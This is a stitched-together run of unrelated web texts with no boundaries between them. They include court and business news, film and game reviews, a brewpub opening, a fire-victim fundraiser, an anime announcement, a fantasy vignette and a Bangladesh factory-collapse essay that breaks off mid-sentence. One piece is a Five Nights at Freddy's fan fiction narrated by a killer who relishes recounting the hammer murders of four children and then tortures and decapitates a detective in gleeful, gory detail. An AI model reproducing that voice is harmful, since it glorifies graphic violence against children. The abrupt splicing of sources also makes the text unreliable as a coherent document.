ABC. "We don't think that Israel should be a country of refuge for suspects of child sex abuse, paedophiles." In a statement the Israeli ministry of justice told the ABC: "There has been a number of delays to this case caused by the defendant. The Ministry of Justice is doing everything it can to move this case along." Ms Leifer's case has been adjourned until October 26. Topics: child-abuse, schools, education, courts-and-trials, law-crime-and-justice, judaism, melbourne-3000, israel First posted
"We... just discovered some tapes from the previous Freddy Fazbear's Pizza location." Scott nervously tells me. What a way to begin my final day. People could have found me out. Found out what I did. "The... police are doing an investigation. This place'll close really soon." "Really? Why's that? ...What was in these tapes?" I ask him. "Well, in our old location, there was a suit in the back, a yellow one. You know which one, though. Spring Bonnie. Well... someone "used" it. Four children went missing the night those tapes were filmed. We're afraid that we know... uh... what happened to them." "And what might that be?" "We think that... they were killed that night. The tapes pretty much clearly told us that. A person dressed as Spring Bonnie walks into a room of happy kids. A half hour later, he leaves, his suit stained with blood. ...What else could it even mean?" "You may be right, Scott. You may be right." I walk away. Oh, thank god no one saw my face. I'd be put away for a long time. After completely quitting the job, I go home. The next day, "the new and improved" Freddy Fazbear's Pizza shuts down due to the investigation and technical issues with the Toys. They plan to open again in a few years. A few months pass and I get a call. Apparently I have to go to a police station after hours and get interviewed about the "Missing Children Incident". I drive there with a backpack in the passenger seat, it only takes about 15 minutes. The backpack contains a change of clothes and a knife, just in case the interview gets a bit too personal for my tastes, or I just feel the urge to kill. I arrive at the station. A grey-haired man in a grey cap and a suit walks up to me with a grin. "Jonathan Matthews?" he asks in a gruff voice. "Yep, that's me," I reply, "What do I do?" "Just follow me." He leads me to a glass door with a "CLOSED" sign, takes out a bunch of jingling keys, and unlocks the door with one of them. The door squeaks a little as he opens it and lets me inside. He motions for me to follow him as he walks to the back. He opens that door and sits down on a chair. I follow him, find a seat right across from him, set my backpack down next to it, and sit down. "So, Mr. Matthews, I'm just going to jot down a few notes on this here notepad." He shows me his yellow notepad, open to a page labeled "JONATHAN MATTHEWS". "Now, we found out that you are one of the people who worked at that "Freddy Fazbear's Pizza" location that was open from 1983 to 1987, the one we recently obtained some tapes from. Would you mind telling me where you were on the evening of... that incident?" "Certainly, detective!" I reply with a grin. "I was finishing up some work - I was a technician - on the animatronics and sort of tidying up the safe room I was working in." "The safe room?" "Yes. It's where a lot of the spare parts are, so I can easily do repairs there. There are several tools, too. Hammers, screwdrivers, drills and the such." "I... see. Now, Mr. Matthews, did you witness the incident in question that night?" "Yes, detective." "...What? This... this is fantastic! You can give us some new evidence! Where were you when you saw it?" "Oh, I was in the Spring Bonnie suit - oh, sorry - a yellow rabbit suit. I was right there." "...Is that so?" "Oh, yes. Hammer in hand, I saw the children die. I saw their faces. Horror, confusion, pain. I saw it all. What a night." "Are you implying... what I think you're implying?" "What do YOU think I'm implying?" I ask the detective coldly. I reach across the table and pull him toward me by the shoulders of his suit. "If you think I did it... you're absolutely right." Naturally, he struggles. He screams for help, stupidly not remembering that no one can come. I release my left hand, unzip my backpack, and pull out the knife. "Are... are you going to kill me?!", he almost screams in terror. "Oh, no, no, no... I'm not going to just kill you. I'm going to make you suffer." I snarl. "You see, if I DON'T kill you, you'll tell people. Now, I can't have that. I'm having a pretty rough day today, so it's your job to lighten it up. Well, it's not like you have a choice in the matter." I stand up and slam him on the table. He stares into my eyes with an emotion not unlike that of those children back in 1983, the best day of my life. In his terror, he's unable to speak. Good, I want to be the only one talking. "You want an interview, detective? I'll give you a GREAT interview. I'll tell you exactly what happened that night." I say, bringing his face a little closer to mine, knife still in hand. "I put on the Spring Bonnie suit and found four children. I told them that there was "fun and games galore" to be had in the maintenance room. Of course, they didn't know it was a simple maintenance room." I tell him with a laugh. " I follow them in after getting a hammer, and just start... beating in one of their skulls with it. The other children looked away, not even trying to experience the fun I was trying to show them. The little BRATS!" I shout, and punctuate it by sticking the knife in the detective's mouth and slicing its right side open. He screams. "Anyway, after beating in one of their skulls, I got a bit creative and broke their jaw using the hammer's claw. The kid died after that, sadly. Thankfully, right after that, another kid stepped up, trying to stand up to me. More fun for me! I used the hammer to break his nose and puncture his eyes." "Wh...what is wrong with you?!" The detective yells with a voice of pure disgust. "One question at a time, my friend. I'm already answering as to what I was doing on that night, you can't just switch subjects like that! Now, onto your punishment." As he begs and pleads for me to not hurt him, I stick the knife in his mouth and swipe in the opposite direction as last time, giving him a beautiful, happy, gory grin. "Now, I'll finish the story. You won't interrupt again, will you?" He weakly shakes his head. "Good. After disfiguring that second child, the third tried to attack me. I let him off easy. I snapped his little neck. Now, the final one, the only girl of the bunch, I had something special for her. You see, the "spring locks" in those animatronics were very unstable, and release if someone so much as breathes wrong. I put one of those spring lock heads onto her head. I set off the spring locks. So much blood, so much gore, so much bone and teeth came out. It was... beautiful. When I took the head off, the first thing I noticed were her eyes." I motion to his eyes with the end of my knife. "What the spring locks can do... is quite amazing. Then again, why tell you when I can show you a simulation?" I stab my knife into his right eye, yielding an ear-piercing scream. Now, we can't have that. I yank the knife out of his eye socket. Oh, how interesting, his eye's still attached. No matter, I'll simply remove it. I gently take the knife out of the eye and use it to sever his optic nerve. There, now he doesn't have to worry about that. "The eye thing is getting kind of old." I admit to the screaming man. "I guess we'll just have to move on." "P...please... end... me..." The man croaks. "Oh, gladly!" I say in a chipper tone. "Just hold still." I slam his head onto the table, with barely any response, and level the knife with his neck. "Good night, detective." I whisper. I stick the blade into his neck and begin to saw. It makes quite a glorious sound. Ripping, tearing, cutting. It reminds me of cutting into a good, juicy medium-rare filet mignon. It makes me hungry just thinking about that... still, I may be many things, a psychopath, a murderer, a loyal friend... but I am certainly not a cannibal. I move the knife all around his neck, making sure there's not a portion left uncut. He's long dead by now. I firmly pull on the sides of his head. Naturally, it comes off. Some spine is attached, but I have no need to keep any mementos. My work here is done, I wouldn't want to draw unnecessary attention to myself. I take the extra clothes out of my backpack and put them on. I sling the backpack over my shoulder and leave the station. Glad that's over with.
My boyfriend told me that I should watch an anime called Girl’s Monthly Nozaki-Kun. It’s a comedy and it made me cry these ugly wracking sobs and he had to call me so I could stop and go to sleep. In the end Nozaki-kun is a young woman’s story about unrequited love, about a man who hurts her not because he wants to but because he is too young to understand how not to. Everything that this girl, Sakura Chiyo, does for Nozaki is her way of trying to say that she loves him. He’ll never get it. She’ll always, kind of, love him. It’s not supposed to make people cry, but I had snot running out of my nose and water spots on my glasses. When I first started playing Cibele, developed by Nina Freeman, I sort of knew that I was going to talk about AC, a guy that used to be my camp counselor that I kinda dated in college because so many things in Cibele immediately reminded me of him. In the game, we are playing as Nina Freeman, a freshman in college in 2009, who has a crush on someone who plays the same MMORPG with her, Valtameri. For a lot of Cibele I felt like I was going to vomit. It was that same tilting, on-the-edge feeling I got at the end of Nozaki-kun, that same tightness in my throat, blurring of my vision. I know how these stories end. I met AC when I was sixteen and at arts camp. He was about to graduate from a very good school, and all the girls would whisper to each other about how handsome and weird he was. He taught the improv class, he liked comics. He liked me, or at least liked to talk to me. My friends would tell me that he would check me out but I was sure that wasn’t true. What would that sixteen year old girl say if I told her that, in a few years, AC would sigh contentedly at the sight of her? That he would grip her so tight he’d leave marks on her skin? That much later she’d think back on the things he’d say (“You are this perfect creature that I get to fuck and I don’t know what I did to deserve it”) and try to choke back tears in the shower? That she’d see him on the L at Clark and Lake and hide under the stairs? In stories like this I get fixated on the endings. Nina Freeman, playing a character named Cibele, runs raids with Ichi, who she has a crush on, and they flirt awkwardly. Ichi won’t stop telling Nina how beautiful he thinks she is, and we see, through chat archives on her desktop, that she’s afraid he doesn’t like her back. It works because it is so genuine, such a well-honed facsimile of how we interact with people on the internet, in games. The way Nina types is so much more self-assured than when she’s in voice chat with Ichi. I played with subtitles on, and at times every line began and ended with “awkward laugh.” She’s sort of always trying to get Ichi to say that’s she’s pretty, but she seems to really believe that she’s not. Their conversations ramble—they tell each other little details of their backgrounds, their lives—and you can feel the things that are unsaid, especially when Nina gets messages from her friends assuring her that it’s okay, go ahead, he talks about you all the time. We see a little of the rest of her life too—her poetry, photos of her friends, some of her emails. Before you open up a representation of her desktop, there’s a short video of what she’s doing just before, and when you log off of Valtameri, there’s a video of what she does just after. The line between the girl in this game and the woman who made it is pretty blurry, even if it’s still liminal enough for me to project myself onto her. There’s a fullness to this character, especially in how her entire focus is on Ichi. Even before they make plans to meet, before they say, “I love you,” before he breathlessly tells her, “Please, call me Blake,” he’s all over her desktop, her chatlogs, her folder of pictures. She’s young, she’s in love, she doesn’t know what she’s doing. And neither does he. AC would alternate between begging me to call him or entertain him at work and ignoring me entirely. I’m still not sure if he meant to hurt me or if he didn’t know what to do with a girl so young, so in love, so unsure of what to do. In Cibele, Blake is much more clearly just confused and afraid. Like Nina, he’s never been in a relationship and, in that 19 year old way, isn’t sure he ever wants one. He doesn’t mean to hurt her—he just does. It’s very difficult for me to talk about this game without dwelling on my own pain. AC let things go a lot farther than Blake ever did. I met AC’s mom and AC’s sister at their beach house, I’d regularly catch a bus from college to stay at his apartment for a weekend. He bought me drinks, he bought me drugs, he’d pick up a rosebud from the sidewalk and tell me it was beautiful, like me. And then he’d be gone. He’d tell me exactly what I wanted to hear because he was, “afraid to hurt me,” and then never want to talk about it again. But AC was older than me—Blake is Nina’s age, figuring things out in the same way that Nina is. Freeman doesn’t portray Blake with an ounce of bitterness, even when he is at the precipice of breaking her heart, even after he tells her that it was a mistake to come visit. This isn’t a tragedy. This is just a thing that happened, once, a real love that was honest and then ended. Unlike the man I dated, Blake really wasn’t trying to hurt her. And he probably did love her. He just doesn’t know how. There are parts of Cibele that are clumsy, too earnest, but I don’t know what I would change. Would it have touched me so deeply if it didn’t wear it’s heart on its sleeve so much, if it didn’t want to so accurately portray that kind of female, teenage experience, blog posts and all? Perhaps its ending is too abrupt—but I’m not sure that Freeman wants to linger on this version of herself all alone. It’s what I want, to see her pain when she logs back into the game and has to deal with the emptiness where Ichi, Blake, used to be. But the game isn’t really about her pain. It’s about how she loved. The end of Nozaki-kun isn’t supposed to make you cry. It’s supposed to ease you out of a first love, it’s supposed to help you let go. Freeman ends the game with a quote attributed to herself—why not, in a game so saturated with herself—that tells us that she’s glad she had this first love. Cibele, I don’t think, was supposed to make me cry, I don’t think it wants me to linger on how things ended. It’s supposed to help me let go. I hope that I will.
Like Alice down the rabbit hole, the heroes of Disney's double bill take tumbles down long, strange tunnels and emerge in fantastic worlds. "Runaway Brain," a new seven-minute Mickey Mouse cartoon, begins with the familiar, brightly colored Mickey in up-to-the-minute surroundings. As Pluto looks on, he plays a "Snow White" video game. When he needs some quick cash to take Minnie on vacation, he answers a want ad, rings a doorbell on Lobotomy Lane and falls through a trapdoor into the basement, where a mad scientist switches his brain with that of a giant monster named Julius. Mickey with a monster brain looks as if he'd stuck his tail into a light socket; his fur is ragged, his eyes are bloodshot, his teeth are sharp. He looks, oddly, like a rodent. Meanwhile, Mickey's squeaky voice comes out of the newly gentle Julius. As it races along, "Runaway Brain" is clever and funny. It's not a brilliant Mickey, but it may seem brilliant next to the live-action feature "A Kid in King Arthur's Court," one of the weakest children's movies Disney has released in a long while. The title explains the plot, which is loaded with possibilities. Calvin Fuller (Thomas Ian Nicholas, the star of "Rookie of the Year") is a nervous, insecure Little League player who strikes out every time. Because he's in California, an earthquake splits the ground beneath the dugout and sends Calvin hurtling down a long tunnel. He emerges in an unintentionally tacky-looking version of Camelot, and the best part of the movie is over. "A Kid in King Arthur's Court" is sluggish and low-energy. It has some time-traveler gags that a 4-year-old will see coming, a tentative romance between Calvin and Arthur's teen-age daughter, Princess Katey (Paloma Baeza), and fake-medieval language that can annoy the whole family. Arthur (Joss Ackland) has fallen under the influence of the evil Lord Belasco (Art Malik), or as Calvin calls him in one of his liveliest lines, "the dude in the purple dress." If Calvin brings Arthur to his senses, Merlin will send the boy home. Advertisement Continue reading the main story Calvin introduces a flashlight, Rollerblades, a makeshift bike and Big Macs to Camelot, but these jokes are doled out grudgingly, as if a too-small supply had to be stretched out over the movie. The action is overwhelmed by talkier scenes. Calvin teaches the king to use the term "chill out," and teaches Princess Katey a predictable bit of slang, that "bad" actually means "good." This doesn't blend well with the rest of the script. Katey's big sister coos, "You are in love, little one." And when Katey sneaks into Calvin's room at night, she tells him, "My father knows nothing of my nocturnal transgressions," a line simply begging for Groucho Marx. Mr. Nicholas is quite engaging as Calvin, far better than anyone around him. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. The film was shot in Hungary, but seems unreal in a cardboard, not a fairy-tale, way. Everything that can look cheap does. Arthur wears a brassy crown and a royal robe that resembles a long white T-shirt with a red dragon emblazoned on it.
Share Roadside breathalyzers, used for estimating blood alcohol content, have been used by law enforcement as far back as the 1930s. However, to date there is still no equally fast-acting, accurate roadside equivalent that cops can use if they suspect someone of driving under the influence of marijuana. That could be about to change, however, due to a new saliva-based test developed in the laboratory of Shan Xiang Wang at Stanford University in California. The proof of concept study uses a magneto-nanosensor able to detect traces of marijuana in saliva as rapidly as three minutes. The test is based on the same competitive assay principle used in other drug testing, but makes novel use of magnetic nanoparticles and sensors to achieve better sensitivity and speed. To make the research useful for roadside testing is the fact that the sensor it requires connects via Bluetooth to a smartphone — meaning that there’s no reason to take saliva samples back to the lab for analysis. “Detection of marijuana from blood or urine in a reference lab is not difficult, but it is difficult or impractical at the roadside,” Professor Wang told Digital Trends. “Most law enforcement officers are not authorized to take blood samples, while taking a urine sample on spot is extremely inconvenient. Detection of marijuana from saliva would bypass the trappings with either blood or urine samples.” From here, Wang says that his lab will focus on turning the proof of concept demonstration into a fully-realized device that could be used by law enforcement. “We plan to build a user-friendly handheld device for roadside testing,” he noted. “It will take about another year.” As medical and recreational use of marijuana becomes more widespread, law enforcement tools like this will prove more and more necessary. Hopefully the results will turn out to be just as important a safeguard as the arrival of the breathalyzer almost 90 years ago.
The main idea is to keep the board clear with the arms dealer and mizzium mortars, while building up goblins (and maybe a krenko) and knock down the opponents life total with the instants and sorceries in combination with guttersnipe. If the board is clear then trumpet blast but if not, searing spear (perhaps even reverberated) can finish the game. What I have listed in the Maybeboard are other cards I was considering for an Izzet goblin deck. I think that a Rakdos goblin deck with a bunch of cheap unleash guys could also be pretty cool, but not enough have been spoiled yet to try and build a deck. The Rakdos possible cards are in the "sideboard." It might even be possible to start out super aggressive with rakdos and unleash stuff and then sideboard into a controlly mid-range deck. This is my first ever constructed deck. Comments and suggestions are very welcome.
Cramer on WFC: What you want to know as an investor 4:10 PM ET Wed, 14 Sept 2016 | 04:47 Federal prosecutors are investigating Wells Fargo, after the bank was fined for opening unauthorized accounts, The Wall Street Journal reported, citing sources. The Journal said that the investigation is in its early stages and that prosecutors have yet to decide whether they would pursue a civil or criminal case, should they choose to. The bank has been issued a supboena, people familiar with the matter told the Journal. Later on Wednesday, Reuters also reported that federal prosecutors are investigating the bank regarding its sales practices. Shares of Wells Fargo closed down 0.94 percent on Wednesday. Wells Fargo declined to comment to CNBC. Officials announced last week that Wells Fargo will pay $185 million in penalties and $5 million to customers for opening fee-generating accounts without authorization. Over a five-year period, 5,300 Wells Fargo employees were fired over the practice cited by the Consumer Financial Protection Bureau, CNBC confirmed. The activity occurred in the company's community banking division. On Tuesday, CEO John Stumpf said he holds himself accountable for the account opening practices but does not plan to resign. "I think the best thing I could do right now is lead this company, and lead this company forward," he told Jim Cramer in an interview on "Mad Money." Stumpf said that the company is sorry and deeply regrets "any situation where a customer got a product they did not request." — CNBC's Abigail Stevenson contributed to this report. Read the full report in The Wall Street Journal.
Looks like the US Air Force will have the F-16 Falcon in its arsenal for decades to come. Today it was announced that the Air Force has commissioned Lockheed Martin to extend the overall flight hours of the F-16 from 8,000 to 12,000. This decision will ensure the the aircraft will remain active for many more years. Interesting F-16 Video Footage “Following F-16 Service Life Extension Program (SLEP) structural modifications, the U.S. Air Force could safely operate Block 40-52 aircraft to 2048 and beyond,” a release said. “Combined with F-16 avionics modernization programs like the F-16V, SLEP modifications demonstrate that the Fighting Falcon remains a highly capable and affordable 4th Generation option for the U.S. Air Force and international F-16 customers,” said Susan Ouzts, vice president of Lockheed Martin’s F-16 program. The Air Force claims it has the capacity in the F-16C community “to recapitalize … radar to serve the same function as the F-15 has done and thereby reduce the different systems that we have to sustain and operate, so that makes it more efficient,” said Maj. Gen. Scott D. West, director of current operations and the service’s deputy chief of staff for operations at the Pentagon. – Military.com The Air Force has stated that it intends to replace the F-15C/D aircraft with the F-16 Falcon. What do you think? Is the Falcon capable enough to do the job of F-15? The F-16 is a great aircraft and has served the US for many years as its premier air-to-air fighter. It is a good decision to keep it around as long as possible with the US having a limited number of F-22’s and the F-35 seemingly more suited to the air to ground role. Featured image of U.S. Air Force Airmen 1st Class Jeremy Andrews and Stephen Long, both crew chiefs with the 20th Aircraft Maintenance Squadron, performing preflight checks beneath an F-16 Fighting Falcon aircraft during exercise Green Flag West 11-6 at Nellis Air Force Base, Nev F-16 by by Senior Airman Brett Clashman, US Air Force
ROGERS PARK — Come Tuesday, North Side Beer-lovers will have another place to imbibe on locally-made pints with the opening of Empirical Brewery's new Rogers Park brewpub. The Ravenswood-based beer company replaces the former Act One Pub inside the Mayne Stage at 1330 W. Morse Ave. and after a soft opening this week will officially open its doors for beer-heavy drink and dining menus. As cooks prepped food and the restaurant's staff readied the dining room, General Manager Steve Milford said his staff was excited and ready to go. "The food is ready and the beer is good, now all we have to do is run a few credit cards to make sure everything works," Milford joked. Not only will the brewpub serve its flagship beers like its Double Helix Imperial IPA, Gamma-Ray Ginger Wheat and Infinity IPA, but it will also play with cold-fused, Nitrogen-carbonated beers, like with Empirical's popular Cream Ale. New to Empirical's drink repertoire are beer cocktails, like the Beergarita (Cold Fusion Cream Ale, tequila and lime cordial), The Morse (Infinity IPA, gin, St. Germaine and grapefruit) and the Gamma-Ray Ginger Mule (Gamma-Ray Ginger Wheat, lime cordial and vodka). Soon the bar will also offer wine and cider straight from the tap. Owner Bill Hurley said he's working with a wine maker to hopefully come up with a signature house blend served only at the brew pub. Just there for something to eat? The food itself might call for a designated driver — 70 percent of it is infused with beer. The house burger is smothered with Kölsch cheese sauce and fried onion strings, a juicy, grilled half-chicken is marinated in an Infinity IPA brine and pickled jalapeño, and desserts like the stout-infused milkshake with beer whipped cream serve as a nightcap. Not even the salads are safe from Chef Timothy Fink's boozy vision. A warm Brussel leaves salad is tossed with pancetta and parmesan before being drizzled with a Cream Ale vinaigrette. Though the Spent Grain Burger isn't made with finished beer, its patty is made with a blend of the spent grains used to make it — topped with Swiss, garlic aioli, lettuce and tomato, and sandwiched between a hearty pretzel bun. Fink said the creation is his take on a veggie burger. The menu took six months of collaboration, creativity and taste tests, but was "probably the most fun" Fink said he's had working on such a project in his 17 years as a chef. Not all the flavor is reserved for the beer, however. Items like a seasoned pickle jar, Shepherd's pie wontons and a rotating list of house-made sausages all make Fink's suggestion list. Down the road, an adjacent storefront will serve as a brewing component, where Empirical can make beer on site, including creating a brew specifically for Rogers Park. Empirical's brewpub will be closed Mondays and open from noon-10 p.m. Tuesdays and Wednesdays, noon-midnight Thursdays-Saturdays and noon-8 p.m. Sundays. In July, the pub will also add a weekend brunch menu that will be served from 10 a.m.-3 p.m. Check out pictures from inside Empirical's new brew pub before its official opening. Photos by DNAinfo/Linze Rice.
When Tanvir Sarao arrived at school the morning of Feb. 14, the 10-year-old boy saw smoke coming from a house opposite the school’s yard. That morning, a Brampton house fire left three dead: Iftekhar Niazi and his wife Jyoti Kapadia and their 19-year-old daughter Amina Kapadia. Iqvinder Lally, Yasmeen Bajwa, Gurleen Josan, and Ravleen Uppal are part of a school community that could see the smoke from a tragic fire and came together to support the lone survivor, Zoya Kapadia. ( Steve Russell / Toronto Star ) Their youngest daughter, eight-year-old Zoya Kapadia, was rescued by Sheldon Teague, 19, who was visiting a friend in the basement apartment of the house. She was taken to hospital with third-degree burns and smoke inhalation. Tanvir said he and his classmates were sad for the little girl. “I’m 10, so we are really close in age,” he said. “That got me into, like, her perspective, and I could see how she felt. I felt really bad for her, so I decided that we needed to support her because she didn’t have any family and everything was gone.” Article Continued Below With the help of his teacher Banno Sachdev at Khalsa Community School, Tanvir, along with his classmates Jora Sidhu and Avni Saxena and their entire Grade 5 class organized a school-wide fundraiser. Students Avni Saxena, Tanvir Sarao and Jora Sidhu helped organize a fundraiser to support the medical treatment of eight-year-old Zoya Kapadia. ( Steve Russell ) “It was really devastating, because imagine you were the family,” said Jora, 10. “It’s really sad, so you need some support for that.” About 1,000 students attend Khalsa Community School, a private Sikh school in Brampton, which has a small high school wing of about 50 students. Together, they’ve already raised $3,000 and they’re hoping to push that to $7,500 in the days to come, according to Sachdev, who said the goal is to generate enough funds to build an RESP for Zoya. “The house is, actually, right behind our school, so they’re like our neighbours,” said high school student Yasmeen Bajwa. “We’re so blessed. We have food, shelter, education and look at her; she’s (been) in hospital.” Sachdev said the school’s principal has pledged to match the total brought in by the students, which could bring the final donation close to $15,000. The plan is to then transfer that money in a trust to Zoya’s aunt and uncle, who live in the GTA, and are now caring for her since her release from hospital. Other fundraisers have also taken place online to cover funeral costs of the family and Zoya’s medical and financial needs. Article Continued Below One has raised close to $11,000, while the other has reached nearly $50,000. “I think all of us were very touched,” said Sachdev. “Everybody was very moved, because it just reiterates how uncertain life is, and it can happen to all of us. You want to do what you’d want people to do for you.” The students have also created a gift basket to give to Zoya, which is filled with toys and notes wishing her a speedy recovery. Bajwa said she hopes the gift basket will bring a smile to Zoya’s face after the trauma she’s been through. “Personally, I’m 17-years-old and I can’t imagine a life without my family,” Bajwa said. “My brother is also nine years old, so seeing him in those shoes would really hurt me.” Gurleen Josan, 15, said although she’s never met Zoya, she feels an emotional connection to her. “I personally don’t have any siblings, so I consider her like my younger sister,” she said. “I should be helping her out.” Read more about:
Early on the afternoon of April 1, Adam Wilson posted a message to Twitter. But instead of using his hands to type, the University of Wisconsin biomedical engineer used his brain. "USING EEG TO SEND TWEET," he thought. That message may be a modern equivalent of Alexander Graham Bell's "Mr. Watson, come here. I want to see you." Brain-computer interfaces are no longer just a gee-whiz technology, but a platform for researchers interested in immediate real-world applications for people who can think, but can't move. "We're more interested in the applications," said Justin Williams, head of the University of Wisconsin's Neural Interfaces lab. "How do we actually make these technologies useful for people with disabilities?" The researchers built upon the BCI2000, a software tool pioneered by Williams and Wadsworth Center neural injury specialist Gerwin Schalk. The software translates thought-induced changes in a scalp's electrical fields to control an on-screen cursor. The BCI2000 is already used by 120 laboratories worldwide, but its communications applications have been largely restricted to messages appearing on a nearby screen. "A lot of these have been scientific exercises, geared to writing things out but not really doing anything with it," said Williams. "We wanted to say, that's not how a person would want to communicate, especially with the advent of online communications." The work is special because it meets the immediate needs of locked-in people, said Purdue University biomedical engineer Kevin Otto, who was not involved in the project. "It's in tune with what patients want," said Otto. "Social networking and communication is really their first desire. There's been quite a bit of success, and a few demonstrations, helping people to e-mail. But the same reason why people choose Twitter and Facebook over e-mail is the same reason why this is significant." Williams described e-mail as a a relatively difficult and inefficient task for someone on a brain-computer interface. "It's difficult enough to be able to spell words, much less find an address book and select names. The overhead involved in these applications is just too much," he said. "Twitter is very serendipitous. It handles all the things that we've been struggling to make easy for a patient to do. It puts messages where people can find them. Let the world know how you're doing, what you're thinking, and they'll find you. And that's perfect for these patients and their families." Wilson will soon install their program in the homes of 10 people already outfitted with trial versions of the BCI2000. That system is not yet commercially available, but that day could come soon. "It's at the point where it's beyond proof of concept," Wilson said. "We know it works. The next question is how to integrate it into people's homes, so that a caretaker could set it up without need for outside help." Other brain-computer interfaces may someday help people control robotic prostheses, even body-sheathing exoskeletons that return a user's body to functionality. "Those are going to be great applications in the future, but at the same time we need to see what BCIs can do right now," said Williams. Wilson's later brain-to-Twitter messages included "GO BADGERS" and "SPELLING WITH MY BRAIN." See Also: Video: YouTube/University of Wisconsin Brandon Keim's Twitter stream and Del.icio.us feed; Wired Science on Facebook.
The staff of the Ghost in the Shell Arise anime announced the details of its project on Tuesday. The project will consist of four 50-minute parts. The first part, "Ghost Pain," will run in Japanese theaters for two weeks starting on Saturday, June 22. There will be advance Blu-ray Disc copies with a bundled scenario book available at participating theaters for 8,000 yen (about US$85). There will also be paid streaming of the project, at least in Japan. The general retail release of the first part's Blu-ray Disc and DVD will be on July 26. Series composition and scriptwriter Tow Ubukata confirmed during the broadcast that the show will be a prequel series featuring Motoko when she was younger. The staff also announced the show's cast: Maaya Sakamoto as Mokoto Kusanagi Kenichirou Matsuda as Batou Tarusuke Shingaki as Togusa Tomoyuki Dan as Ishikawa Takurou Nakakuni as Saito Youji Ueda as Paz Kazuya Nakai as Borma Ikkyuu Juku as Daisuke Aramaki At the beginning of her voice-acting career, Sakamoto provided the voice of the pivotal little girl who speaks the very last line in the first Ghost in the Shell film. The presentation also streamed a trailer for the series. The text in the trailer is as follows: A.D. 2027 Her name is Motoko Kusanagi Attached to the Army's 501st Secret Unit Heavily Cyborg Ego Memories Hope for the future What proves who I am? It all begins here A manga adaptation, Ghost in the Shell: Arise Sleepless Eye (Nemuranai Me no Otoko) , will debut in the April issue of Kodansha's Monthly Young magazine on March 13. Newcomer Takumi Ōyama will draw the series, and Jun'ichi Fujisaku will write the story. Fujisaku previously worked on the screenplay for both seasons of Ghost in the Shell: Stand Alone Complex. Fujisaku also worked on the screenplay for Blood+, Otogi Zoshi, Appleseed XIII, and Real Drive. During the hour-long presentation, Production I.G co-founder Mitsuhisa Ishikawa, Satoshi Endō from Kadokawa ASCII Research Laboratories Inc., and Takeshi Natsuno, professor at Keio University's Graduate School of Media and Governance, spoke about the science and technology of the Ghost in the Shell franchise, and discussed how today's technology is not too far off from the technology featured in the series. Update: Added additional information from presentation and embedded official video. Update 2: The official website also updated with more staff announcements. Mechanical Design: Takayuki Yanase 3DCGI: Orange 3DCG Director: Eiji Inomoto Art: Bamboo Art Director: Yusuke Takeda, Takaaki Mashiki Art Setting: Hiroshi Kato (Totonyan) Prop Art Setting: Naoki Arakawa Photography Director: Kouji Tanaka Sound Director: Yoshikazu Iwanami Editing: Junichi Uematsu
Evelyn could recall the day she had first seen those bright green eyes. They had been frustrated, desperate, scared even in that moment, as the man they belonged to struggled against the two hefty persons dragging him away from an angry crowd, accusations of thievery ringing through the air. There was little he could do on his own, and those eyes had been desperately searching for something, someone to help in his hour of need. And her eyes had met with his. That day, she had seen the light in those eyes, and those eyes ever since had gratefully watched over her. Those were the eyes that poured over the maps as night fell, and kept careful lookout along their perilous journeys. They were eyes that were hardened with focus in the heat of battle, yet soft and caring in the company of friends. Those eyes had witnessed a past she could not even fathom, but shared so many wonderous experiences with her own. They were the eyes that had dutifully served her and her merry group of friends for so long. And now they stared back at her, dull and vacant, as the body of the man they belonged to hung lifelessly from the gallows. The light in his eyes was no longer shining; was this where her good friend’s path ended? Thick splatters of rain burst across her face as she looked up at the grey sky, perhaps for a sign, only to see the wisping clouds swirl and obscure the sunlight trapped beyond. Could this injustice truly have been Lathander’s will? If this was the way things were meant to be, then it gave her no comfort knowing that those eyes had spent their last moments afraid, searching with desperation for something, someone, in their hour of need. And she had not been there. Those eyes, those beautiful, bright green eyes, would remain searching forever more. As she closed those unseeing eyes for the last time, Evelyn could not see either. But that was only because of the tears.
by Delhi. On Wednesday, April 24, a day after Bangladeshi authorities asked the owners to evacuate their garment factory that employed almost three thousand workers, the building collapsed. The building, Rana Plaza, located in the Dhaka suburb of Savar, produced garments for the commodity chain that stretches from the cotton fields of South Asia through Bangladesh’s machines and workers to the retail houses in the Atlantic world. Famous name brands were stitched here, as are clothes that hang on the satanic shelves of Wal-Mart. Rescue workers were able to save two thousand people as of this writing, with confirmation that over three hundred are dead. The numbers for the latter are fated to rise. It is well worth mentioning that the death toll in the Triangle Shirtwaist Factory fire in New York City of 1911 was one hundred and forty six. The death toll here is already twice that. This “accident” comes five months (November 24, 2012) after the Tazreen garment factory fire that killed at least one hundred and twelve workers. The list of “accidents” is long and painful. In April 2005, a garment factory in Savar collapsed, killing seventy-five workers. In February 2006, another factory collapsed in Dhaka, killing eighteen. In June 2010, a building collapsed in Dhaka, killing twenty-five. These are the “factories” of twenty-first century globalization – poorly built shelters for a production process geared toward long working days, third rate machines, and workers whose own lives are submitted to the imperatives of just-in-time production. Writing about the factory regime in England during the nineteenth century, Karl Marx noted, “But in its blind unrestrainable passion, its wear-wolf hunger for surplus labour, capital oversteps not only the moral, but even the merely physical maximum bounds of the working-day. It usurps the time for growth, development and healthy maintenance of the body. It steals the time required for the consumption of fresh air and sunlight…. All that concerns it is simply and solely the maximum of labour-power that can be rendered fluent in a working-day. It attains this end by shortening the extent of the labourer’s life, as a greedy farmer snatches increased produce from the soil by reducing it of its fertility” (Capital, Chapter 10). These Bangladesh factories are a part of the landscape of globalization that is mimicked in the factories along the US-Mexico border, in Haiti, in Sri Lanka, and in other places that opened their doors to the garment industry’s savvy use of the new manufacturing and trade order of the 1990s. Subdued countries that had neither the patriotic will to fight for their citizens nor any concern for the long-term debilitation of their social order rushed to welcome garment production. The big garment producers no longer wanted to invest in factories – they turned to sub-contractors, offering them very narrow margins for profit and thereby forcing them to run their factories like prison-houses of labour. The sub-contracting regime allowed these firms to deny any culpability for what was done by the actual owners of these small factories, allowing them to enjoy the benefits of the cheap products without having their consciences stained with the sweat and blood of the workers. It also allowed the consumers in the Atlantic world to buy vast amount of commodities, often with debt-financed consumption, without concern for the methods of production. An occasionally outburst of liberal sentiment turned against this or that company, but there was no overall appreciation of the way the Wal-Mart type of commodity chain made normal the sorts of business practices that occasioned this or that campaign. Bangladeshi workers have not been as prone as the consumers in the Atlantic world. As recently as June 2012, thousands of workers in the Ashulia Industrial Zone, outside Dhaka, protested for higher wages and better 